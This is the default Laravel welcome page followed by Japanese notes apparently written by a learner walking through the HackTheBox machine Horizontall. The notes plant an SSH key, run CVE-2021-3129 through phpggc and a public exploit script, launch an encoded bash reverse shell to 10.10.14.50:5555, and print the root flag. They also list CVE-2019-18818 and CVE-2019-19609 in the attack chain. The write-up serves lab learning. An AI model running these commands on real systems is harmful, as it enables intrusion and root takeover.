<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">

        <title>Laravel</title>

        <!-- Fonts -->
        <link href="https://fonts.googleapis.com/css2?family=Nunito:wght@400;600;700&display=swap" rel="stylesheet">

        <!-- Styles -->
        <style>
            /*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}a{background-color:transparent}[hidden]{display:none}html{font-family:system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji;line-height:1.5}*,:after,:before{box-sizing:border-box;border:0 solid #e2e8f0}a{color:inherit;text-decoration:inherit}svg,video{display:block;vertical-align:middle}video{max-width:100%;height:auto}.bg-white{--bg-opacity:1;background-color:#fff;background-color:rgba(255,255,255,var(--bg-opacity))}.bg-gray-100{--bg-opacity:1;background-color:#f7fafc;background-color:rgba(247,250,252,var(--bg-opacity))}.border-gray-200{--border-opacity:1;border-color:#edf2f7;border-color:rgba(237,242,247,var(--border-opacity))}.border-t{border-top-width:1px}.flex{display:flex}.grid{display:grid}.hidden{display:none}.items-center{align-items:center}.justify-center{justify-content:center}.font-semibold{font-weight:600}.h-5{height:1.25rem}.h-8{height:2rem}.h-16{height:4rem}.text-sm{font-size:.875rem}.text-lg{font-size:1.125rem}.leading-7{line-height:1.75rem}.mx-auto{margin-left:auto;margin-right:auto}.ml-1{margin-left:.25rem}.mt-2{margin-top:.5rem}.mr-2{margin-right:.5rem}.ml-2{margin-left:.5rem}.mt-4{margin-top:1rem}.ml-4{margin-left:1rem}.mt-8{margin-top:2rem}.ml-12{margin-left:3rem}.-mt-px{margin-top:-1px}.max-w-6xl{max-width:72rem}.min-h-screen{min-height:100vh}.overflow-hidden{overflow:hidden}.p-6{padding:1.5rem}.py-4{padding-top:1rem;padding-bottom:1rem}.px-6{padding-left:1.5rem;padding-right:1.5rem}.pt-8{padding-top:2rem}.fixed{position:fixed}.relative{position:relative}.top-0{top:0}.right-0{right:0}.shadow{box-shadow:0 1px 3px 0 rgba(0,0,0,.1),0 1px 2px 0 rgba(0,0,0,.06)}.text-center{text-align:center}.text-gray-200{--text-opacity:1;color:#edf2f7;color:rgba(237,242,247,var(--text-opacity))}.text-gray-300{--text-opacity:1;color:#e2e8f0;color:rgba(226,232,240,var(--text-opacity))}.text-gray-400{--text-opacity:1;color:#cbd5e0;color:rgba(203,213,224,var(--text-opacity))}.text-gray-500{--text-opacity:1;color:#a0aec0;color:rgba(160,174,192,var(--text-opacity))}.text-gray-600{--text-opacity:1;color:#718096;color:rgba(113,128,150,var(--text-opacity))}.text-gray-700{--text-opacity:1;color:#4a5568;color:rgba(74,85,104,var(--text-opacity))}.text-gray-900{--text-opacity:1;color:#1a202c;color:rgba(26,32,44,var(--text-opacity))}.underline{text-decoration:underline}.antialiased{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.w-5{width:1.25rem}.w-8{width:2rem}.w-auto{width:auto}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}@media (min-width:640px){.sm\:rounded-lg{border-radius:.5rem}.sm\:block{display:block}.sm\:items-center{align-items:center}.sm\:justify-start{justify-content:flex-start}.sm\:justify-between{justify-content:space-between}.sm\:h-20{height:5rem}.sm\:ml-0{margin-left:0}.sm\:px-6{padding-left:1.5rem;padding-right:1.5rem}.sm\:pt-0{padding-top:0}.sm\:text-left{text-align:left}.sm\:text-right{text-align:right}}@media (min-width:768px){.md\:border-t-0{border-top-width:0}.md\:border-l{border-left-width:1px}.md\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}}@media (min-width:1024px){.lg\:px-8{padding-left:2rem;padding-right:2rem}}@media (prefers-color-scheme:dark){.dark\:bg-gray-800{--bg-opacity:1;background-color:#2d3748;background-color:rgba(45,55,72,var(--bg-opacity))}.dark\:bg-gray-900{--bg-opacity:1;background-color:#1a202c;background-color:rgba(26,32,44,var(--bg-opacity))}.dark\:border-gray-700{--border-opacity:1;border-color:#4a5568;border-color:rgba(74,85,104,var(--border-opacity))}.dark\:text-white{--text-opacity:1;color:#fff;color:rgba(255,255,255,var(--text-opacity))}.dark\:text-gray-400{--text-opacity:1;color:#cbd5e0;color:rgba(203,213,224,var(--text-opacity))}}
        </style>

        <style>
            body {
                font-family: 'Nunito';
            }
        </style>
    </head>
    <body class="antialiased">
        <div class="relative flex items-top justify-center min-h-screen bg-gray-100 dark:bg-gray-900 sm:items-center sm:pt-0">

            <div class="max-w-6xl mx-auto sm:px-6 lg:px-8">
                <div class="flex justify-center pt-8 sm:justify-start sm:pt-0">
                    <svg viewBox="0 0 651 192" fill="none" xmlns="http://www.w3.org/2000/svg" class="h-16 w-auto text-gray-700 sm:h-20">
                        <g clip-path="url(#clip0)" fill="#EF3B2D">
                            <path d="M248.032 44.676h-16.466v100.23h47.394v-14.748h-30.928V44.676zM337.091 87.202c-2.101-3.341-5.083-5.965-8.949-7.875-3.865-1.909-7.756-2.864-11.669-2.864-5.062 0-9.69.931-13.89 2.792-4.201 1.861-7.804 4.417-10.811 7.661-3.007 3.246-5.347 6.993-7.016 11.239-1.672 4.249-2.506 8.713-2.506 13.389 0 4.774.834 9.26 2.506 13.459 1.669 4.202 4.009 7.925 7.016 11.169 3.007 3.246 6.609 5.799 10.811 7.66 4.199 1.861 8.828 2.792 13.89 2.792 3.913 0 7.804-.955 11.669-2.863 3.866-1.908 6.849-4.533 8.949-7.875v9.021h15.607V78.182h-15.607v9.02zm-1.431 32.503c-.955 2.578-2.291 4.821-4.009 6.73-1.719 1.91-3.795 3.437-6.229 4.582-2.435 1.146-5.133 1.718-8.091 1.718-2.96 0-5.633-.572-8.019-1.718-2.387-1.146-4.438-2.672-6.156-4.582-1.719-1.909-3.032-4.152-3.938-6.73-.909-2.577-1.36-5.298-1.36-8.161 0-2.864.451-5.585 1.36-8.162.905-2.577 2.219-4.819 3.938-6.729 1.718-1.908 3.77-3.437 6.156-4.582 2.386-1.146 5.059-1.718 8.019-1.718 2.958 0 5.656.572 8.091 1.718 2.434 1.146 4.51 2.674 6.229 4.582 1.718 1.91 3.054 4.152 4.009 6.729.953 2.577 1.432 5.298 1.432 8.162-.001 2.863-.479 5.584-1.432 8.161zM463.954 87.202c-2.101-3.341-5.083-5.965-8.949-7.875-3.865-1.909-7.756-2.864-11.669-2.864-5.062 0-9.69.931-13.89 2.792-4.201 1.861-7.804 4.417-10.811 7.661-3.007 3.246-5.347 6.993-7.016 11.239-1.672 4.249-2.506 8.713-2.506 13.389 0 4.774.834 9.26 2.506 13.459 1.669 4.202 4.009 7.925 7.016 11.169 3.007 3.246 6.609 5.799 10.811 7.66 4.199 1.861 8.828 2.792 13.89 2.792 3.913 0 7.804-.955 11.669-2.863 3.866-1.908 6.849-4.533 8.949-7.875v9.021h15.607V78.182h-15.607v9.02zm-1.432 32.503c-.955 2.578-2.291 4.821-4.009 6.73-1.719 1.91-3.795 3.437-6.229 4.582-2.435 1.146-5.133 1.718-8.091 1.718-2.96 0-5.633-.572-8.019-1.718-2.387-1.146-4.438-2.672-6.156-4.582-1.719-1.909-3.032-4.152-3.938-6.73-.909-2.577-1.36-5.298-1.36-8.161 0-2.864.451-5.585 1.36-8.162.905-2.577 2.219-4.819 3.938-6.729 1.718-1.908 3.77-3.437 6.156-4.582 2.386-1.146 5.059-1.718 8.019-1.718 2.958 0 5.656.572 8.091 1.718 2.434 1.146 4.51 2.674 6.229 4.582 1.718 1.91 3.054 4.152 4.009 6.729.953 2.577 1.432 5.298 1.432 8.162 0 2.863-.479 5.584-1.432 8.161zM650.772 44.676h-15.606v100.23h15.606V44.676zM365.013 144.906h15.607V93.538h26.776V78.182h-42.383v66.724zM542.133 78.182l-19.616 51.096-19.616-51.096h-15.808l25.617 66.724h19.614l25.617-66.724h-15.808zM591.98 76.466c-19.112 0-34.239 15.706-34.239 35.079 0 21.416 14.641 35.079 36.239 35.079 12.088 0 19.806-4.622 29.234-14.688l-10.544-8.158c-.006.008-7.958 10.449-19.832 10.449-13.802 0-19.612-11.127-19.612-16.884h51.777c2.72-22.043-11.772-40.877-33.023-40.877zm-18.713 29.28c.12-1.284 1.917-16.884 18.589-16.884 16.671 0 18.697 15.598 18.813 16.884h-37.402zM184.068 43.892c-.024-.088-.073-.165-.104-.25-.058-.157-.108-.316-.191-.46-.056-.097-.137-.176-.203-.265-.087-.117-.161-.242-.265-.345-.085-.086-.194-.148-.29-.223-.109-.085-.206-.182-.327-.252l-.002-.001-.002-.002-35.648-20.524a2.971 2.971 0 00-2.964 0l-35.647 20.522-.002.002-.002.001c-.121.07-.219.167-.327.252-.096.075-.205.138-.29.223-.103.103-.178.228-.265.345-.066.089-.147.169-.203.265-.083.144-.133.304-.191.46-.031.085-.08.162-.104.25-.067.249-.103.51-.103.776v38.979l-29.706 17.103V24.493a3 3 0 00-.103-.776c-.024-.088-.073-.165-.104-.25-.058-.157-.108-.316-.191-.46-.056-.097-.137-.176-.203-.265-.087-.117-.161-.242-.265-.345-.085-.086-.194-.148-.29-.223-.109-.085-.206-.182-.327-.252l-.002-.001-.002-.002L40.098 1.396a2.971 2.971 0 00-2.964 0L1.487 21.919l-.002.002-.002.001c-.121.07-.219.167-.327.252-.096.075-.205.138-.29.223-.103.103-.178.228-.265.345-.066.089-.147.169-.203.265-.083.144-.133.304-.191.46-.031.085-.08.162-.104.25-.067.249-.103.51-.103.776v122.09c0 1.063.568 2.044 1.489 2.575l71.293 41.045c.156.089.324.143.49.202.078.028.15.074.23.095a2.98 2.98 0 001.524 0c.069-.018.132-.059.2-.083.176-.061.354-.119.519-.214l71.293-41.045a2.971 2.971 0 001.489-2.575v-38.979l34.158-19.666a2.971 2.971 0 001.489-2.575V44.666a3.075 3.075 0 00-.106-.774zM74.255 143.167l-29.648-16.779 31.136-17.926.001-.001 34.164-19.669 29.674 17.084-21.772 12.428-43.555 24.863zm68.329-76.259v33.841l-12.475-7.182-17.231-9.92V49.806l12.475 7.182 17.231 9.92zm2.97-39.335l29.693 17.095-29.693 17.095-29.693-17.095 29.693-17.095zM54.06 114.089l-12.475 7.182V46.733l17.231-9.92 12.475-7.182v74.537l-17.231 9.921zM38.614 7.398l29.693 17.095-29.693 17.095L8.921 24.493 38.614 7.398zM5.938 29.632l12.475 7.182 17.231 9.92v79.676l.001.005-.001.006c0 .114.032.221.045.333.017.146.021.294.059.434l.002.007c.032.117.094.222.14.334.051.124.088.255.156.371a.036.036 0 00.004.009c.061.105.149.191.222.288.081.105.149.22.244.314l.008.01c.084.083.19.142.284.215.106.083.202.178.32.247l.013.005.011.008 34.139 19.321v34.175L5.939 144.867V29.632h-.001zm136.646 115.235l-65.352 37.625V148.31l48.399-27.628 16.953-9.677v33.862zm35.646-61.22l-29.706 17.102V66.908l17.231-9.92 12.475-7.182v33.841z"/>
                        </g>
                    </svg>
                </div>

                <div class="mt-8 bg-white dark:bg-gray-800 overflow-hidden shadow sm:rounded-lg">
                    <div class="grid grid-cols-1 md:grid-cols-2">
                        <div class="p-6">
                            <div class="flex items-center">
                                <svg fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewBox="0 0 24 24" class="w-8 h-8 text-gray-500"><path d="M12 6.253v13m0-13C10.832 5.477 9.246 5 7.5 5S4.168 5.477 3 6.253v13C4.168 18.477 5.754 18 7.5 18s3.332.477 4.5 1.253m0-13C13.168 5.477 14.754 5 16.5 5c1.747 0 3.332.477 4.5 1.253v13C19.832 18.477 18.247 18 16.5 18c-1.746 0-3.332.477-4.5 1.253"></path></svg>
                                <div class="ml-4 text-lg leading-7 font-semibold"><a href="https://laravel.com/docs" class="underline text-gray-900 dark:text-white">Documentation</a></div>
                            </div>

                            <div class="ml-12">
                                <div class="mt-2 text-gray-600 dark:text-gray-400 text-sm">
                                    Laravel has wonderful, thorough documentation covering every aspect of the framework. Whether you are new to the framework or have previous experience with Laravel, we recommend reading all of the documentation from beginning to end.
                                </div>
                            </div>
                        </div>

                        <div class="p-6 border-t border-gray-200 dark:border-gray-700 md:border-t-0 md:border-l">
                            <div class="flex items-center">
                                <svg fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewBox="0 0 24 24" class="w-8 h-8 text-gray-500"><path d="M3 9a2 2 0 012-2h.93a2 2 0 001.664-.89l.812-1.22A2 2 0 0110.07 4h3.86a2 2 0 011.664.89l.812 1.22A2 2 0 0018.07 7H19a2 2 0 012 2v9a2 2 0 01-2 2H5a2 2 0 01-2-2V9z"></path><path d="M15 13a3 3 0 11-6 0 3 3 0 016 0z"></path></svg>
                                <div class="ml-4 text-lg leading-7 font-semibold"><a href="https://laracasts.com" class="underline text-gray-900 dark:text-white">Laracasts</a></div>
                            </div>

                            <div class="ml-12">
                                <div class="mt-2 text-gray-600 dark:text-gray-400 text-sm">
                                    Laracasts offers thousands of video tutorials on Laravel, PHP, and JavaScript development. Check them out, see for yourself, and massively level up your development skills in the process.
                                </div>
                            </div>
                        </div>

                        <div class="p-6 border-t border-gray-200 dark:border-gray-700">
                            <div class="flex items-center">
                                <svg fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewBox="0 0 24 24" class="w-8 h-8 text-gray-500"><path d="M7 8h10M7 12h4m1 8l-4-4H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-3l-4 4z"></path></svg>
                                <div class="ml-4 text-lg leading-7 font-semibold"><a href="https://laravel-news.com/" class="underline text-gray-900 dark:text-white">Laravel News</a></div>
                            </div>

                            <div class="ml-12">
                                <div class="mt-2 text-gray-600 dark:text-gray-400 text-sm">
                                    Laravel News is a community driven portal and newsletter aggregating all of the latest and most important news in the Laravel ecosystem, including new package releases and tutorials.
                                </div>
                            </div>
                        </div>

                        <div class="p-6 border-t border-gray-200 dark:border-gray-700 md:border-l">
                            <div class="flex items-center">
                                <svg fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewBox="0 0 24 24" class="w-8 h-8 text-gray-500"><path d="M3.055 11H5a2 2 0 012 2v1a2 2 0 002 2 2 2 0 012 2v2.945M8 3.935V5.5A2.5 2.5 0 0010.5 8h.5a2 2 0 012 2 2 2 0 104 0 2 2 0 012-2h1.064M15 20.488V18a2 2 0 012-2h3.064M21 12a9 9 0 11-18 0 9 9 0 0118 0z"></path></svg>
                                <div class="ml-4 text-lg leading-7 font-semibold text-gray-900 dark:text-white">Vibrant Ecosystem</div>
                            </div>

                            <div class="ml-12">
                                <div class="mt-2 text-gray-600 dark:text-gray-400 text-sm">
                                    Laravel's robust library of first-party tools and libraries, such as <a href="https://forge.laravel.com" class="underline">Forge</a>, <a href="https://vapor.laravel.com" class="underline">Vapor</a>, <a href="https://nova.laravel.com" class="underline">Nova</a>, and <a href="https://envoyer.io" class="underline">Envoyer</a> help you take your projects to the next level. Pair them with powerful open source libraries like <a href="https://laravel.com/docs/billing" class="underline">Cashier</a>, <a href="https://laravel.com/docs/dusk" class="underline">Dusk</a>, <a href="https://laravel.com/docs/broadcasting" class="underline">Echo</a>, <a href="https://laravel.com/docs/horizon" class="underline">Horizon</a>, <a href="https://laravel.com/docs/sanctum" class="underline">Sanctum</a>, <a href="https://laravel.com/docs/telescope" class="underline">Telescope</a>, and more.
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

                <div class="flex justify-center mt-4 sm:items-center sm:justify-between">
                    <div class="text-center text-sm text-gray-500 sm:text-left">
                        <div class="flex items-center">
                            <svg fill="none" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewBox="0 0 24 24" stroke="currentColor" class="-mt-px w-5 h-5 text-gray-400">
                                <path d="M3 3h2l.4 2M7 13h10l4-8H5.4M7 13L5.4 5M7 13l-2.293 2.293c-.63.63-.184 1.707.707 1.707H17m0 0a2 2 0 100 4 2 2 0 000-4zm-8 2a2 2 0 11-4 0 2 2 0 014 0z"></path>
                            </svg>

                            <a href="https://laravel.bigcartel.com" class="ml-1 underline">
                                Shop
                            </a>

                            <svg fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewBox="0 0 24 24" class="ml-4 -mt-px w-5 h-5 text-gray-400">
                                <path d="M4.318 6.318a4.5 4.5 0 000 6.364L12 20.364l7.682-7.682a4.5 4.5 0 00-6.364-6.364L12 7.636l-1.318-1.318a4.5 4.5 0 00-6.364 0z"></path>
                            </svg>

                            <a href="https://github.com/sponsors/taylorotwell" class="ml-1 underline">
                                Sponsor
                            </a>
                        </div>
                    </div>

                    <div class="ml-4 text-center text-sm text-gray-500 sm:text-right sm:ml-0">
                            Laravel v8 (PHP v7.4.18)
                    </div>
                </div>
            </div>
        </div>
    </body>
</html>

A: Laravel v8 (PHP v7.4.18)

急な流れに思えるけど、内部で動いているポートを確認するのはよくあるのか?

roaris commented 2 months ago

https://0xdf.gitlab.io/2022/02/05/htb-horizontall.html

sshのポートフォワーディングを使って、外部からポート8000を確認することが出来る ローカルでssh-keygenで鍵ペアを作成し、公開鍵を/opt/strapi/.ssh/authorized_keysに追加する

strapi@horizontall:~$ mkdir .ssh
strapi@horizontall:~$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILbFaCOkjzxxQWSSkMc7JmJ6REiJnpLLGq9oEcM1yiPA roaris@DESKTOP-G3SGKDT" > .ssh/authorized_keys
$ ssh -i ~/.ssh/id_ed25519 strapi@10.10.11.105 -L 8000:localhost:8000 -fN

-fNについて : https://qiita.com/mechamogera/items/b1bb9130273deb9426f5

終了するときは、lsof -i:8000でプロセス番号を調べてkillすれば良い

roaris commented 2 months ago

CVE-2021-3129 が見つかった PoC : https://github.com/ambionics/laravel-exploits

Laravelで使われているライブラリにおけるRCEの脆弱性 https://knqyf263.hatenablog.com/entry/2021/10/11/175332 で詳細に説明されている

ポート8000のプロセスがroot権限で起動しているなら、リバースシェルを実行すればrootのシェルを取れる lsof -i:1337は出てきたけど、lsof -i:8000は出てこなかったから、root権限で起動していると判断できる? (sudo lsof -i:8000なら出てくるはず)

strapi@horizontall:~$ lsof -i:1337
COMMAND  PID   USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
node    1986 strapi   31u  IPv4  32028      0t0  TCP localhost:1337 (LISTEN)
strapi@horizontall:~$ lsof -i:8000
roaris commented 2 months ago

https://github.com/ambionics/laravel-exploits を動かすためには、phpggcというのが必要なので、https://github.com/ambionics/phpggc からcloneする

$ git clone https://github.com/ambionics/phpggc.git
$ cd phpggc
$ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id
$ cd ..
$ wget https://raw.githubusercontent.com/ambionics/laravel-exploits/main/laravel-ignition-rce.py
$ python laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
uid=0(root) gid=0(root) groups=0(root)
--------------------------
+ Logs cleared

root権限で動いていることが分かった

roaris commented 2 months ago

まず疎通確認

$ cd phpggc
$ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "ping -c 5 10.10.14.50"
$ cd ..
$ python laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
PING 10.10.14.50 (10.10.14.50) 56(84) bytes of data.
64 bytes from 10.10.14.50: icmp_seq=1 ttl=63 time=169 ms
64 bytes from 10.10.14.50: icmp_seq=2 ttl=63 time=169 ms
64 bytes from 10.10.14.50: icmp_seq=3 ttl=63 time=179 ms
64 bytes from 10.10.14.50: icmp_seq=4 ttl=63 time=170 ms

--- 10.10.14.50 ping statistics ---
5 packets transmitted, 4 received, 20% packet loss, time 4001ms
rtt min/avg/max/mdev = 169.001/172.077/179.380/4.264 ms
--------------------------
+ Logs cleared
$ sudo tcpdump -i tun0 icmp
[sudo] password for roaris: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
02:47:57.683046 IP horizontall.htb > 10.10.14.50: ICMP echo request, id 4884, seq 1, length 64
02:47:57.683059 IP 10.10.14.50 > horizontall.htb: ICMP echo reply, id 4884, seq 1, length 64
02:47:58.683374 IP horizontall.htb > 10.10.14.50: ICMP echo request, id 4884, seq 2, length 64
02:47:58.683388 IP 10.10.14.50 > horizontall.htb: ICMP echo reply, id 4884, seq 2, length 64
02:47:59.694601 IP horizontall.htb > 10.10.14.50: ICMP echo request, id 4884, seq 3, length 64
02:47:59.694613 IP 10.10.14.50 > horizontall.htb: ICMP echo reply, id 4884, seq 3, length 64
02:48:00.684414 IP horizontall.htb > 10.10.14.50: ICMP echo request, id 4884, seq 4, length 64
02:48:00.684443 IP 10.10.14.50 > horizontall.htb: ICMP echo reply, id 4884, seq 4, length 64
02:48:01.684874 IP horizontall.htb > 10.10.14.50: ICMP echo request, id 4884, seq 5, length 64
02:48:01.684901 IP 10.10.14.50 > horizontall.htb: ICMP echo reply, id 4884, seq 5, length 64
roaris commented 2 months ago

やはり、base64エンコードしないと上手くいかなかった

$ cd phpggc
$ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41MC81NTU1IDA+JjEK | base64 -d | bash"
$ cd ..
$ python laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
$ nc -lvp 5555
listening on [any] 5555 ...
connect to [10.10.14.50] from horizontall.htb [10.10.11.105] 49970
bash: cannot set terminal process group (5351): Inappropriate ioctl for device
bash: no job control in this shell
root@horizontall:/home/developer/myproject/public# cd /root
cd /root
root@horizontall:~# cat root.txt
cat root.txt
97c7e717fae55befecafa2788391bbaa

root.txtゲット

roaris commented 2 months ago

https://0xdf.gitlab.io/2022/02/05/htb-horizontall.html#beyond-root に、今回利用したCVE-2019-18818とCVE-2019-19609の修正について書かれている

roaris commented 2 months ago

解き方まとめ

  1. サブドメイン探索や、jsファイルの確認を行って、api-prod.horizontall.htbの存在に気づく jsファイルの確認をするのは唐突な感じがあるので、ワードリストを/usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txtにして、サブドメイン探索をするのが良いと思う
  2. api-prod.horizontall.htbでstrapiが使われていることに気づく、api-prod.horizontall.htbについてディレクトリ探索をする
  3. CVE-2019-18818を使い、adminユーザのパスワードをpasswordに変更する
  4. http:\//api-prod.horizontall.htb/admin/auth/loginから、admin / password でログインする
  5. CVE-2019-19609を使い、strapiのシェルを取り、user.txtゲット
  6. netstat -an | grep LISTENで、ポート8000の存在に気づく
  7. ポート8000で、Laravel v8 (PHP v7.4.18)が使われていることに気づく sshのポートフォワーディングを使ってブラウザから確認しても良いし、マシン内でcurl http:\//localhost:8000でも良い
  8. CVE-2021-3129を使い、rootのシェルを取り、root.txtゲット